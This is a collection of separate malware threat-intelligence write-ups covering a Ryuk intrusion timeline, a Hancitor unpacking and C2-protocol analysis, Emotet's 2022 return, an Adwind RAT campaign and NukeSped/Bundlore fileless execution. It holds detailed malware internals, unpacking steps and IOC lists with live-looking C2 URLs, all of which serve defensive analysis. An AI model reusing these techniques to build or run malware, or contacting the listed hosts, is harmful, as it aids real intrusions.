Overall, Seaduke is quite sophisticated. While written in Python, the malware employs a number of interesting techniques for encrypting data over the network and persisting on the victim machine. WildFire customers are protected against this threat. Additionally, Palo Alto Networks properly categorizes the URL used by Seaduke as malicious. |
# Ryuk Speed Run, 2 Hours to Ransom
**November 5, 2020**
## Intro
Since the end of September, Ryuk has been screaming back into the news. We’ve already covered two cases in that timeframe. We’ve seen major healthcare providers, managed service providers, and furniture manufacturers all reportedly being hit. The Cyber Security and Infrastructure Security Agency (CISA) released an advisory claiming that a mass Ryuk campaign against the United States healthcare system was an imminent threat.
FireEye released a post and hosted a webinar with SANS and @likethecoins, detailing a group FireEye identifies as UNC 1878. In their report, they describe a threat actor’s TTPs that align with the activity we’ve previously reported on. They indicated in their investigations and responses of seeing the group take just 2 to 5 days from entry to full domain ransomware deployment. In our cases, we’ve seen even faster action, with the threat actors seemingly trying to speed-run their ransomware deployment. In this most recent case, ransomware was deployed in 2 hours with the actor completing all objectives in 3 hours.
Red Canary released a post recently on how they, with the support of Kroll, stopped a Ryuk intrusion at a hospital. This report includes 10 detection ideas as well as a feel-good story on how they stopped the intrusion. We need more reports like this, especially right now.
SCYTHE recently put out an adversary emulation plan and a post based on our previous Ryuk reports. Great job @jorgeorchilles, @seanqsun, and the rest of the SCYTHE team for sharing this with the community!
## Case Summary
Like in our prior two reports of Ryuk campaigns, the initial access came from phishing emails containing links to Google Drive that, when clicked, downloaded a Bazar Loader backdoor executable. In our prior cases, we generally saw a lag time, ranging from hours to days, from the initial click to Ryuk. In this case, the time from initial Bazar execution to domain recon was 5 minutes, and deployment of Cobalt Strike beacons was within 10 minutes. This is by far the quickest we have seen them act.
After bringing in Cobalt Strike, we saw familiar TTPs using AdFind to continue domain discovery activity. In this case, we saw them deploy persistence on the beachhead host, an action we had not previously seen in our other cases. After establishing another C2 for an additional Cobalt Strike beacon, they employed the Zerologon exploit (CVE 2020-1472) and obtained domain admin level privileges. We also saw host process injection on the beachhead used for obfuscation and privilege escalation.
With domain administrator privileges obtained, the threat actors then moved laterally throughout the network using SMB and RDP to deploy Cobalt Strike beacons on the domain controllers around 1 hour after the initial execution of Bazar. On the domain controllers, some additional discovery was done using the PowerShell Active Directory module. From there, they targeted other servers in the environment; specifically, backup systems, file servers, and software deployment servers. After establishing Cobalt Strike beacons on those, they felt ready to proceed to their final objectives.
At the 2-hour mark, the threat actors made the move to deploy Ryuk ransomware by establishing RDP connections from the domain controllers to servers. This continued for the next hour until the entire domain had been encrypted, with that work completing just 3 hours after the first Bazar Loader was executed.
## Timeline
### MITRE ATT&CK
**Initial Access**
Initial access via a phishing email that linked to a Google Docs page that enticed the user to download a report, which was a Bazar Loader executable file instead of Report-Review20-10.exe.
**Execution**
Execution of the initial Bazar Loader malware relies on user interaction. Executables transferred over SMB during lateral movement were commonly executed via a service.
**Persistence**
This time, unlike prior investigations, clear persistence was found set up on the beachhead host. Firefox.exe created these scheduled tasks as well as the run key.
**Privilege Escalation**
The Zerologon vulnerability CVE 2020-1472 was again exploited to obtain domain admin level privileges.
**Credential Access**
Rubeus was used to kerberoast the environment.
**Defense Evasion**
Process injection was used on the beachhead host to inject into svchost.exe. The Bazar Loader malware was using a code signing certificate signed by Digicert under the organization NOSOV SP Z O O. At the time of delivery, the executable had a detection rate of 1/69 in Virustotal. The Cobalt Strike beacons used in the environment used similar code signing certificates.
**Discovery**
In previous cases, we generally saw some lag time between infection and further actions, but this time things moved much quicker, starting with initial discovery executed by Bazar less than 5 minutes after initial execution.
**Lateral Movement**
RDP connections were initiated from Cobalt Strike Beacons running on the beachhead host to two domain controllers, and then Cobalt Strike executables were dropped by these connections. In addition to using RDP to move around the environment, executables were also transferred over SMB to ADMIN$ shares and executed as a service.
**Command and Control**
Bazar Loader: Report-Review20-10.exe, dghns.xyz, 34.222.33.48:443.
Cobalt Strike (suspected): rundll32.exe, checktodrivers.com, 45.153.240.240:443.
**Exfiltration**
Discovery data (AdFind and Rubeus outputs) was exfiltrated out of the network via FTP.
**Impact**
At roughly the 2-hour mark, we saw the threat actors begin to act on their final objectives. RDP connections were initiated from one of the domain controllers, and the Ryuk executables were deployed and executed over these RDP connections. Servers such as the backup systems, file servers, and automation tools were targeted first, followed by workstations.
Commands ran prior to ransom execution included various `net` and `taskkill` commands to stop services and processes.
While encryption was started 2 hours into the attack, by the 3-hour mark, the actors had completed ransom of the entire environment.
## IOCs
**Network**
- 34.222.33.48:443
- dghns.xyz
- 45.153.240.240:443
- checktodrivers.com
- 108.62.12.121:443
- topservicebooster.com
- 161.117.191.245:80
- chaseltd.top
- 5.2.70.149:21
**File**
- Report-Review20-10.exe
- Firefox.exe
- pagefilerpqy.exe
- pagefileU6Gl.sys
- pagefilerpqy.sys
- AdFind.exe
- PL64.exe
- fx2-12_multi_for_crypt_x86.exe
## Detections
**Network**
- Observed Let's Encrypt Certificate for Suspicious TLD (.xyz)
- HTTP Request to a *.top domain
- Observed DNS Query for EmerDNS_TLD (.bazar)
- NETBIOS DCERPC SVCCTL - Remote Service Control Manager Access
**MITRE**
- Spearphishing Link – T1566.002
- PowerShell – T1059.001
- Command-Line Interface – T1059
- User Execution – T1204
- Process Injection – T1055
- Exploitation for Privilege Escalation – T1068
- Domain Trust Discovery – T1482
- Domain Groups – T1069.002
- Domain Account – T1087.002
- Remote System Discovery – T1018
- SMB/Windows Admin Shares – T1021.002
- Remote Desktop Protocol – T1021.001
- Archive Collected Data – T1560
- Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol – T1048.003
- Standard Application Layer Protocol – T1071
- Commonly Used Port – T1043
- Data Encrypted for Impact – T1486
- Code Signing – T1553.002
- Service Execution – T1569.002
- Scheduled Task – T1053.005
- Registry Run Keys / Startup Folder – T1547.001
- Credential Access – T1558.003
## Indicators Linked to Threat Actor Group
UNC 1878 Indicators released by FireEye.
UNC 1878 Indicators from Threatconnect. |
# Revisiting Hancitor in Depth
As you probably guessed from the title, we are going to be taking a look at Hancitor once again, except this time, I’ll be focusing on the second stage of Hancitor that is dropped as a result of a Microsoft Word or Excel document. I was planning to include an analysis of one of the third stage payloads – ISFB – in this post; however, it would have been extremely long, so I decided to give it its own post. This post will replace my original post about Hancitor (Part 2, not Part 1), as this time I’ve fully analyzed the sample, and therefore do not need to rely on outside information. Both the packed and unpacked samples are available on VirusBay. Let’s get into it!
**MD5 (Hancitor – Packed):** c07661bd4f875b6c6908f2d526958532
**MD5 (Hancitor – Unpacked, Unmapped):** 5fe47865512eb9fa5ef2cccd9c23bcbf
## Unpacking Hancitor
As per usual with most malware nowadays, Hancitor’s Second Stage payload is packed, so before we get to the interesting part, we need to unpack it, which isn’t particularly difficult to do. I will be using Immunity Debugger to step through the unpacking, as x32dbg failed to analyze sections correctly. This will be a quick unpacking, and there won’t be much detail on the unpacking routine as this isn’t the purpose of the post.
Upon opening the file in a debugger, scroll down until you see a call to EBX and put a breakpoint on that call. Execute the program and once it has hit the breakpoint, step into EBX. From there, you will see several jumps – follow these jumps and you will notice values being pushed to the stack, until you see a call to EAX (VirtualProtect). You can step over this and follow the jumps again. You’ll notice registers being incremented and compared, until you hit an XOR BYTE PTR. As you probably guessed, this is a loop that XOR’s values in the main binary. If you keep stepping over, you’ll reach a JB instruction, and just underneath is a JNO instruction. Put a breakpoint on the JNO instruction and execute the program.
Once you’ve hit the breakpoint, simply step over the next few instructions, until you see a jump to EAX. Upon following this jump, you’ll find a section of un-analyzed code. Right-click and select Analysis->During next analysis, treat selection as->Command, and then CTRL-A. The section will be re-analyzed and should resemble something similar to the image below. From there, scroll down. You’ll notice strings such as “VirtualAlloc” and “_stricmp” – this section loads different DLLs and imports functions. You can step through this and analyze it, or you can scroll down until you see the last API being imported, which in this case is “memcpy“. After a call to GetProcAddress ([EBP-28] here), EAX (memcpy) is moved into [EBP-30]. Put a breakpoint on this and execute the program.
Scroll down further and you’ll see another jump to EAX – put a breakpoint on that and run the program once again. Following this jump should take you to another region of memory – in this case, it is at 0x000203E4. You’ll see a jump near the bottom of the window, so put a breakpoint on that and execute the program again. Jumping to the address will show the Substitution Box creation and scramble instructions, which creates the lookup table for RC4 decryption. We can skip over this so keep scrolling down until you see several IMUL instructions and another function call. Put a breakpoint on this call and run the program.
Several libraries will be loading upon running the program, but just ignore that. Once the breakpoint has been tripped, step into the function and follow the jump. From there, there will be a call to an API, and a call to a function. Make sure you step into this function, and follow the jump. You will see another API call and function call. Step into the function, and there will be a jump to EAX – take this jump, and it will lead you back to the original memory region of the binary. Once you get there, you will need to re-analyze the section, just like we did before. Ignore the first function call, and step into the second call.
This function has a few calls, but the important ones are near the bottom – GetMessageA, TranslateMessage, and DispatchMessageA. They will be in a loop, so simply put a breakpoint after the loop, and run the program. This loop will result in the main Hancitor payload being written to a different region of memory, and run it, so make sure you disconnect your machine from the network for this. You will have to pause the execution of the program yourself, as the loop will not exit until the payload thread has. Make sure you have Process Hacker open as well, as this will allow you to dump the unpacked payload. Wait for around 30-45 seconds (although it depends), and search for RWX protected regions of memory in Process Hacker. In this case, there is a 36 Kb section, which upon viewing, has a valid MZ header, so let’s dump it.
As we dumped the payload from memory, it is mapped, so we need to unmap it. Open the dumped file in PE-Bear and go to the Section Headers option. You need to change the value of the Raw Addr. so that it matches the value of the Virtual Addr. You then need to change the Raw size of each of the sections, except for the last section, which is .reloc here. Upon doing this, you will notice the imports section starts fixing itself. If you see a similar import table to the one shown below, congratulations, you have successfully unpacked Hancitor! We can now start analyzing the unpacked payload!
## Analyzing Hancitor: Unpacked
I will be statically analyzing the unpacked version of Hancitor, using IDA Pro, although you can use any disassembler, or even dynamically analyze it. Upon opening the file, there are three functions, and then a call to ExitProcess. The first two functions are not important, and simply seem to be used for importing API calls and loading libraries. The third function contains all of the interesting stuff, so let’s jump into that. Inside the main section, there are several functions that are called. The first three are calls to a function that simply allocates a heap, with the sizing based on the argument, so we can ignore that.
Taking a look at the next called function, we can see a lot of stuff happening. First, Hancitor calls GetVersion, and then calls 4 additional functions to gather more system information. The first function of the 4 returns a GUID for the user, based on gathered volume information and adapter addresses. The second function locates both the computer name and the username. To get the computer name, it simply calls GetComputerName and appends an @ sign on the end. In order to get the username, rather than calling GetUserName, it enumerates through running processes searching for explorer.exe, and when found, it opens the process, opens the process token, and then gathers the token information. This is then used in a call to LookupAccountSidA, which will return the username and the domain which the username was found on. This is then formatted together, so it will read Domain\Username. Then, this is appended to the original computer name.
The third function is responsible for gathering the external IP address. To do so, it uses the WININET library to send a GET request to api[.]ipify[.]com, the go-to for Hancitor. If it fails to connect to the site, it simply sets the IP as 0.0.0.0, and continues on. Finally, the fourth function is used to determine the architecture of the system, whether it is x64 or x32 bit. This will determine which string to wsprintf the data to. It attempts to import GetNativeSystemInfo, and if it fails, it will just call GetSystemInfo. If the function returns 1, the system is a 64 bit system. Otherwise, it will be set as 32 bit. Once the architecture has been determined, the BUILD value and C2 URLs are RC4 decrypted, using native WinCrypt functions rather than a custom implementation of RC4. The BUILD represents the campaign date of the specific Hancitor sample. In this case, the build is 17bdp12, which indicates the campaign began on the 17th of December.
Once the decryption has finished, the values retrieved by the five functions are stored in a string using wsprintf. The string depends on the architecture, but only the last 5 characters: `GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)`. This is stored in a buffer, which will be used in a POST request to the recently decrypted C2s. After the wsprintf call, Hancitor begins to focus on the C2s. First, it checks to see if the C2s have been decrypted, and if not, it will decrypt them again. Once decrypted, each C2 URL is split with ‘|‘, for easy splitting. Hancitor copies the first URL to a different region of memory and attempts to connect to it. If it fails to contact the C2, it will try with the next URL, until it realizes all C2s are down, and then it sleeps for 60000 milliseconds, and retries. If there is still no response, it will exit. The C2s are contacted using WININET API’s, with a POST request containing the formatted data. If a C2 server is online, it will typically return a large string of encrypted data that indicates what the malware should do next.
If the C2 server is online and does return data, a verification function is called, which takes the returned data as an argument. The first 4 bytes in the response are checked to see if they are more than or equal to 65, and less than or equal to 90 (basically checking if they are in the alphabet and are uppercase letters). Then, it checks if the character code of the second letter (response[1]) minus 90, plus 65 is equal to the character code of the third letter (response[2]). If it is equal, the function will return 0; otherwise, it will run another check to see if the character code of the fourth letter (response[3]) is equal to 90 minus the character code of the first letter (response[0]) + 65. The result of this will be returned. If 0 is returned, the malware will return 0; otherwise, it will return 1.
And that brings a close to the first function – this will be a long one. Back to the main payload, if the last function returned 1, Hancitor will begin to decrypt the data; otherwise, it will sleep and try again. The next function call accepts the C2_Response + 4, so it discards the first 4 bytes, as they are simply for verification. Taking a look at the function, we can see a call to a function that takes the encrypted data and the address of an empty heap that was previously allocated. It returns a value which is stored in a variable. This particular variable is used in a for loop, so we can assume that this is the size of the data. We can also assume that the empty heap will contain data, as each character is XOR’ed using the hexadecimal value 0x7A. Once the loop has ended, it returns.
So let’s take a look at sub_3B1000. If you have ever written a Base64 encoder/decoder in languages such as C/C++ or even Python, you may recognize this pseudo-code as a Base64 decryption algorithm. Hancitor simply Base64 decodes the C2 response and XOR’s it using 0x7A, making it quite effortless to decrypt C2 data.
Before we move onto the next functions, it is important to know what the C2 data actually looks like. As you can see, there are 3 “sections” in this decrypted response, with each section starting with { and ending with }, and each URL being split with a |. You can also see at the start of each section there is a letter and then : – this letter indicates what Hancitor should do with the specific URL. The next function splits the sections up, by checking for { and then copying each character to an allocated heap, until the character equals }. This data is then used in the next function.
The next function takes the section of URLs and checks to see if the second character is :, and then to see if the first character equals; r, l, e, b, d, c, or n. If it doesn’t equal any of the characters, it loops. Otherwise, it will continue to the next function, which will carry out the command. Whilst Hancitor checks for 8 characters, it only uses 5 of them; r, l, e, b, and n. If the response is n, the malware does nothing. If it is b, it will download a file from the URL, decompress it, and inject it into SVCHOST. If it is e, it will download a file, decompress it, and execute it as a new thread. If it is l, it will download a file, decompress it, and execute it as a new thread with an argument. Finally, if the command is r, it will download a file, decompress it, and execute it as its own process.
One particularly interesting thing about the download and decompress routine is how it checks the first two characters of the decompressed, downloaded file for MZ, to make sure it is in fact an EXE or DLL. When executing as an own process, it checks whether or not the file is a DLL or an EXE by looking it up in the file header, and if it is a DLL it uses RUNDLL32.exe to execute it.
Once the process has been executed, the function returns back to the main payload, and now fully annotated, you can view the flow of the program. Now that brings an end to this full analysis of Hancitor’s second stage. I am currently working on writing a Python script that extracts Hancitor communications from PCAP files, decrypts them, and then attempts to interact with the C2 servers to download the third stage payload as a file, which will be up on GitHub once it is complete. My ISFB analysis should be posted soon – I am currently quite busy, but expect it soon!
## IOCs:
- **Build:** 17bdp12
- **Hancitor (Packed: MD5):** c07661bd4f875b6c6908f2d526958532
- **Hancitor (Unpacked: MD5):** 5fe47865512eb9fa5ef2cccd9c23bcbf
- **Second Stage C2s:**
- http://woodlandsprimaryacademy.org/wp-includes/(1|2|3)
- http://precisionpartners.org/wp-admin/includes/(1|2|3)
- http://mail.porterranchpetnanny.com/wp-includes/(1|2|3)
- http://synergify.com/wp-content/themes/ward/(1|2|3) |
# Emotet's Return in Fall 2022 - The Virus Is Back
**November 15, 2022**
**Blog**
**Threat Insight**
## A Comprehensive Look at Emotet Virus’ Fall 2022 Return
### Key Takeaways
- Emotet returned to the email threat landscape in early November for the first time since July 2022.
- It is once again one of the most high-volume actors observed by Proofpoint, distributing hundreds of thousands of emails per day.
- Proofpoint observed multiple changes to Emotet and its payloads including the lures used, and changes to the Emotet modules, loader, and packer.
- Emotet malware was observed dropping IcedID.
- The new activity suggests that Emotet’s return is back to its full functionality acting as a delivery network for major malware families.
- New operators or management might be involved as the botnet has some key differences with previous deployments.
## Overview
TA542, an actor that distributes Emotet malware, has once again returned from an extensive break from delivering malicious emails. The actor was absent from the landscape for nearly four months, last seen on July 13, 2022, before returning on November 2, 2022. Proofpoint has tracked the delivery methods, regional targeting, and done an analysis of the Emotet malware and the IcedID loader payload. Overall, this activity is similar to July campaigns and many previously observed tactics remain the same; however, new changes and improvements include:
- New Excel attachment visual lures
- Changes to the Emotet binary
- IcedID loader dropped by Emotet is a light new version of the loader
- Reports of Bumblebee dropped in addition to IcedID
Now that they are back, TA542’s email campaigns are once again among the leaders by email volume. Proofpoint has already blocked hundreds of thousands of messages each day.
Proofpoint expects that the actor will continue to evolve, with potential for higher email volumes, more geographies targeted, and new variants or techniques of attached or linked threats. Additionally, given the observed changes to the Emotet binary, it is likely to continue adapting as well.
## Campaigns
The volume of emails that Emotet sending bots attempt to deliver each day is in the hundreds of thousands. These numbers are comparable to historic averages. Hence, it does not appear that the Emotet botnet lost any significant spamming capability during the inactive period. For additional context, historic highs observed by Proofpoint were millions of emails, with the last such spike in April 2022.
### Delivery
Proofpoint continues to see a significant volume of thread hijacking and language localization in emails. The actor continues to use generic lures. The Emotet virus used an IRS-themed lure briefly on November 8, which may correspond with US-based businesses' quarterly tax requirements. While no other current events and holiday-based lures have been observed yet, it is likely they will be used soon. At the time of writing, Proofpoint observed campaigns on nearly every weekday since November 2, specifically on the following dates: November 2, November 3, November 4, November 7, November 8, November 9, November 10, and November 11, 2022. However, after being active daily for over a week, the Emotet malware activity stopped. Proofpoint anticipates TA542 will return again soon.
### Geographies Targeted
The actor continues to target a similar set of countries to those targeted before the break. Proofpoint consistently observed targeting of the following countries with high volumes of emails: United States, United Kingdom, Japan, Germany, Italy, France, Spain, Mexico, Brazil (this is not a complete list). For these listed examples, Proofpoint confirmed the targeting not only by location of recipients but additionally via appropriate local language use in email bodies, subjects, and filenames.
Honorable mention: Proofpoint observed Greece targeting with attachment names such as τιμολόγιο.xls, έγγραφο.xls, and τραπεζικούς λογαριασμούς.xls. Greece is not a commonly targeted country by TA542.
### Attachments
The malicious content included in the emails sent by TA542 since the return on November 2 is typically an Excel attachment or a password-protected zip attachment with an Excel file inside. The Excel files contain XL4 macros that download the Emotet payload from several (typically four) built-in URLs. These are the same type of macro-laden Excel sheets that the actor used before the period of inactivity in July 2022. However, what's new is that the Excel file now contains instructions for potential victims to copy the file to a Microsoft Office Template location and run it from there instead. This is a trusted location, and opening a document located in this folder will cause immediate execution of the macros without any warnings or interactions from the user needed. However, while moving a file to a template location, the operating system asks users to confirm, and administrator permissions are required to do such a move.
### Malware Analysis
**XMRig**
As previously mentioned, TA542 was absent from the landscape for nearly four months, last seen sending malicious emails on July 13. However, during the period of inactivity, there were still a couple of major events indicating that someone, or some group, was working on the botnet. On September 16, XMRig, the most common Monero (XMR) miner, was installed by Emotet using command 2 which is just for loading modules. This sample was packed in the same way that other Emotet modules are packed. Therefore, it effectively worked just like the other Emotet modules but dropped and executed XMRig.
**Hardware Module**
Around this time, in September 2022, there was still no spam from the botnet, but modules were being sent to the botnet every 24 hours. These modules were the standard information stealers and email stealers. Then, on October 10, module ID 2381 was delivered to all E4 bots. This new module showed some new features that eventually would make their way into the actual Emotet loader. This module gathers hardware information from the host and sends it to a dedicated list of command and control (C2) servers.
### Emotet Loader Updates
Having not seen a loader update since mid-July, when Emotet returned there were quite a few differences in the botnet.
- New commands
- New implementation of the communication loop
- New check-in packet format
- New packer used
The Emotet virus supports a variety of commands. When it first returned in November 2021, there were seven total commands that were denoted by values 1-7. Eventually, commands 4 and upwards were removed until the return in November 2022. Currently, there are 5 commands that the Emotet virus supports:
1. Update bot
2. Load module
3. Load executable
4. Load executable via regsvr32.exe
5. Invoke rundll32.exe with a random named DLL and the export PluginInit
Commands 4 and 16343 were added with this latest version of the botnet. Notably, Proofpoint has observed Emotet malware delivering IcedID as a second stage payload in recent campaigns.
### Command & Control Mishaps
Historically, the Emotet virus has had three major pools of C2s per botnet (E4 and E5). These pools are the loader, the generic modules, then finally the spam modules. These pools do not overlap and generally what is in one module for the generic pool will be an exact match of what is in another. This is where things start to deviate from previous iterations of Emotet. There are now cases where IPs are missing from some modules, and the developers have left localhost as part of the valid C2s.
### Post Infection Activity
One of the first payloads that was delivered to the Emotet bots was a new variant of the IcedID loader. This variant is brand new or still in development as it contains a legitimate PDB path.
From analysis done on the Conti Leaks from February 2022, researchers have learned that Anubis is the internal name for IcedID and this new variant of the IcedID loader. IcedID is a two-stage malware. The first stage is the loader which makes a request to download the second stage (the bot). Standard IcedID that is delivered via malspam exfiltrates system information through cookies in the request to the loader C2. The C2 then uses that information to determine whether the loader will receive the IcedID bot payload.
### Outlook/Conclusion
Overall, these modifications made to the client indicate the developers are trying to deter researchers and reduce the number of fake or captive bots that exist within the botnet. The addition of commands related to IcedID and the widespread drop of a new IcedID loader might mean a change of ownership or at least the start of a relationship between IcedID and Emotet. Emotet dropping IcedID marks Emotet as being in full functionality again, by acting as a delivery network for other malware families. Emotet malware has not demonstrated full functionality and consistent follow-on payload delivery since 2021, when it was observed distributing The Trick and Qbot. TA542’s return coinciding with the delivery of IcedID is concerning. IcedID has previously been observed as a follow-on payload to Emotet infections. In many cases, these infections can lead to ransomware.
### Indicators
- **05a3a84096bcdc2a5cf87d07ede96aff7fd5037679f9585fee9a227c0d9cbf51**
IcedID SHA256
First Seen: November 2022 on Emotet E4
- **Bayernbadabum[.]com**
IcedID domain containing the encrypted bot
First Seen: November 2022
- **99580385a4fef0ebba70134a3d0cb143ebe0946df148d84f9e43334ec506e301**
XMRig module SHA256
Delivered to E4 in September 2022 |
# New Adwind Campaign Targets US Petroleum Industry
**Abhinav Singh**
**October 1, 2019**
A new campaign spreading the Adwind RAT has been seen in the wild, specifically targeting the petroleum industry in the US. The samples are relatively new and implement multi-layer obfuscation to try to evade detection. We found multiple RAT samples hosted on the serving domain and spread across multiple directories, all hosted within the last month. We have previously reported the use of this RAT targeting the retail and hospitality industry.
The overall functionality of the RAT has remained the same as our previous post: it achieves persistence through registry modifications, performs process injection to stay under the radar, terminates security services (e.g., firewall, AV), and steals sensitive data. The major change is in the obfuscation technique, wherein multiple embedded JAR archives are used before unpacking the actual payload. Netskope Threat Protection detects the malware as ByteCode-JAVA.Trojan.Kryptik and Gen:Variant.Application.Agentus.1. This blog post provides an analysis of the new campaign and the new obfuscation techniques.
## Responsible Disclosure
The URLs hosting the Adwind RAT were reported to Westnet on September 9th, 2019.
## Analysis Details
We discovered the new campaign serving the Adwind RAT JAR payload from “members[.]westnet[.]com[.]au/~joeven/”. Westnet is an Australian ISP. The attacker is either a Westnet user or has compromised the account of one or more Westnet users. The same RAT is being hosted by multiple other Westnet users. Some of the recent uploads have multiple file extensions (*.png.jar.jar) to hide the actual file-type visibility from the target user. We have listed some of the current upload directories in the Indicators of Compromise section. At the time of writing, the links were still active.
When the victim executes the payload, there are multiple levels of JAR extractions that occur.
### Step 1
The dropped JAR payload executes and creates the parent java process and copies itself into the %User% directory. Once the copy is created, the java thread performs the following three actions:
- Executes the copy
- Creates a registry entry in HKCU/CurrentVersion/Run to maintain persistence.
- Creates WMI scripts in %temp% and launches them. These scripts disable firewall and antivirus services.
### Step 2
The new JAR dropped in Step 1:
- Performs AES decryption routine on an embedded object to construct the Step 3 JAR.
- Writes the Step 3 JAR in the %temp% directory and executes it as a new java thread.
### Step 3
The Step 3 JAR loads the JRAT class.
### Step 4
This JRAT class is responsible for loading and linking the DLL which contains the major RAT functionality. It then tries connecting to its command and control server at 185[.]205[.]210[.]48. The JRAT class contains multiple levels of obfuscations within itself in order to hide its features and functionality.
When we last blogged about it, the RAT was cross-platform and supported Windows, Linux, and Mac.
The core functionalities of the RAT include:
- Capturing webcam images
- Scanning the hard drive for files based on extensions defined in RAT’s config
- Spinning up multiple process threads and performing injection into known legitimate windows processes
- Monitoring system status
- Encrypting and exfiltrating the data to its command and control server
## Conclusion
The Adwind RAT is a well-known malware family that has actively been used in multiple campaigns over the last couple of years. The samples we analyzed showed that the VirusTotal detection ratio for the top-level JAR was 5/56 while that of the final decrypted JAR was 49/58. These detection ratios indicate that attackers have largely been successful in developing new, innovative obfuscation techniques to evade detection.
## Indicators of Compromise
| IOC | Type | Description |
|---------------------------------------|------|-------------------------------------------|
| 3bdfd33017806b85949b6faa7d4b98e4 | Hash | WMI script created by Malware |
| a32c109297ed1ca155598cd295c26611 | Hash | WMI script created by Malware |
| a9175094b275a0aaed30604f7dceeb14 | Hash | First level JAR payload |
| 781fb531354d6f291f1ccab48da6d39f | Hash | Decrypted JAR file |
| 0b7b52302c8c5df59d960dd97e3abdaf | Hash | DLL file created by the JAR |
| 185.205.210.48 | IP | Command and Control IP |
| huup://members[.]westnet[.]com[.]au/~philchief/ | URL | Pages serving the malicious JAR payload |
| huup://members[.]westnet[.]com[.]au/~lionsnortham/ | URL | Pages serving the malicious JAR payload |
| huup://members[.]westnet[.]com[.]au/~mcleodart/ | URL | Pages serving the malicious JAR payload |
| huup://members[.]westnet[.]com[.]au/~jbush/ | URL | Pages serving the malicious JAR payload |
| huup://members[.]westnet[.]com[.]au/~joeven/ | URL | Pages serving the malicious JAR payload |
| huup://members[.]westnet[.]com[.]au/~howrahnurs-ery_nbn/ | URL | Pages serving the malicious JAR payload | |
# NukeSped Copies Fileless Code From Bundlore, Leaves It Unused
**Malware**
While investigating samples of NukeSped, a remote access trojan (RAT), Trend Micro came across several Bundlore adware samples using the same fileless routine that was spotted in NukeSped. The backdoor has been attributed to the cybercriminal group Lazarus, which has been active since at least 2014. There are multiple variants of NukeSped, which is designed to run on 32-bit systems and uses encrypted strings to evade detection. Recently, a more sophisticated form of this trojan called ThreatNeedle surfaced as part of a cyberespionage campaign by Lazarus.
The encrypted Mach-O file discovered in these samples has upgraded Bundlore — a malware family that installs adware in a target’s device under the guise of downloading legitimate applications — to a stealthier and memory-resident threat. Bundlore has also been known to target macOS devices and was linked to an attack on macOS Catalina users last year.
Our analysis of the file Ants2WhaleHelper used by Lazarus led us to detect it as NukeSped. Another file with NukeSped detection, unioncryptoupdater, was also found in VirusTotal. Both contained a routine that looks to be based on a GitHub submission. Curiously, however, neither of these files seems to make use of this routine.
Using Interactive Disassembler Pro (IDA Pro) on the Ants2WhaleHelper file revealed its main payload as _mapBuffer, which appears to be a modified version of the _memory_exec function. This function looks like it was based on code from the GitHub post; however, there were no references that point to the _memory_exec function.
Moreover, the payload has a _resolve_symbol function that does not seem to be used. It also does not appear to be necessary, as evidenced in the analysis. NukeSped typically retrieves and launches its payload from a web server, so it does not need the superfluous _resolve_symbol function, which locates data internally. Searching for the operation codes of this function on VirusTotal led to its detection in 201 files. The results yielded only two NukeSped samples while the rest were Bundlore samples.
Similarly, a search using VirusTotal's Retrohunt yielded 273 results; most of these were Bundlore files and only three were NukeSped files. However, one of these NukeSped samples was verified as the parent of a NukeSped file from the previous search. Among the Bundlore samples discovered, the oldest one dates back to May of last year. Further investigation of these Bundlore samples from the VirusTotal query revealed that these were indeed using fileless routines, enabling Bundlore to execute a payload directly from memory.
## Bundlore’s fileless routine
Our study of the Bundlore samples showed that these utilize the same functions that were found unused in the NukeSped samples. These were obfuscated, as they were under random names when disassembled in IDA Pro. While the functions have some differences, the routine for in-memory file execution remains the same.
The main routines of one of the Bundlore samples (sha256:0a3a5854d1ae3f5712774a4eebd819f9e4e3946f36488b4e342f2dd32c8e5db2) are as follows:
1. Decrypt the __DATA.__data section to reveal the embedded Mach-O file. The decryption uses an XOR key that is incremented per cycle.
2. Invoke a function called NSCreateObjectFileImageFromMemory to create an adware image from the Mach-O file in memory. Afterward, NSLinkModule is called to link the malicious image to the main executable's image library. The Mach-O file format is changed from an executable to a bundle before it can call NSCreateObjectFileImageFromMemory.
3. Parse the Mach-O file's header structure in memory for value(LC_MAIN), a load command that has the value 0x80000028. This command contains data such as the offset of the Mach-O file's entry point. Afterward, the adware retrieves the offset and goes to the entry point.
## Bundlore’s Mach-O file runs in memory
The decryption keys and increment values differ across the Bundlore samples. To gain a better understanding of the embedded file, we created a Python script to decrypt and extract their embedded Mach-O files. By doing so, we were able to observe one such decrypted Mach-O file (sha256: a7b6639d9fcdb13ae5444818e1c35fba4ffed90d9f33849d3e6f9b3ba8443bea) with the routines that connect to a target URL, but the address varies among the samples. An app bundle called Player.app, which poses as Flash Player, is then downloaded and extracted into a /tmp directory. The chmod 777 command is used on the extracted app bundle, after which the fake application is launched. While it performs these routines, Bundlore displays a fraudulent error message. Upon completion, it goes dormant by calling the sleep function and looping it repeatedly.
There were no significant differences seen when running the Bundlore samples in macOS Big Sur and macOS Catalina. However, our researchers found that with the default settings of macOS, in which the System Integrity Protection (SIP) and Gatekeeper security features are enabled, the Bundlore samples are blocked and are unable to run. This was observed in both macOS Catalina and macOS Big Sur environments; similarly, the Bundlore samples were also blocked and unable to run under the default settings of macOS Monterey.
## Trend Micro Solutions
Continuous vigilance against threat groups is an important aspect of keeping up with — if not staying one step ahead of — threats. To protect systems from this type of threat, users can use multilayered security solutions like Trend Micro Antivirus for Mac and Trend Micro Protection Suites that help detect and block attacks. Trend Micro Vision One™ also provides visibility, correlated detection, and behavior monitoring across multiple layers, such as emails, endpoints, servers, and cloud workloads. This ensures that no significant incidents go unnoticed and allows faster response to threats before they can do any real damage to the system.
## MITRE Tactics, Techniques, and Procedures (TTPs) of Bundlore
- **Initial Access**: Drive-by compromise
- **Execution**: User execution
- **Privilege Escalation**: Process injection
- **Defense Evasion**: Deobfuscate/Decode files or information, Masquerading, Process injection
- **Command and Control (C&C)**: Web service
## Indicators of Compromise (IOCs)
| sha256 | File | Detection |
|----------------------------------------------------------------------------------------------|--------------------------|------------------------------------|
| bb430087484c1f4587c54efc75681eb60cf70956ef2a999a75ce7b563b8bd694 | Ants2WhaleHelper | Trojan.MacOS.Agent.PFH |
| 631ac269925bb72b5ad8f469062309541e1edfec5610a21eecded75a35e65680 | unioncryptoupdater | Trojan.MacOS.LAZARUS.A |
| 0a3a5854d1ae3f5712774a4eebd819f9e4e3946f36488b4e342f2dd32c8e5db2 | smokehouses | Adware.MacOS.BUNDLORE.RSMSGGK2 |
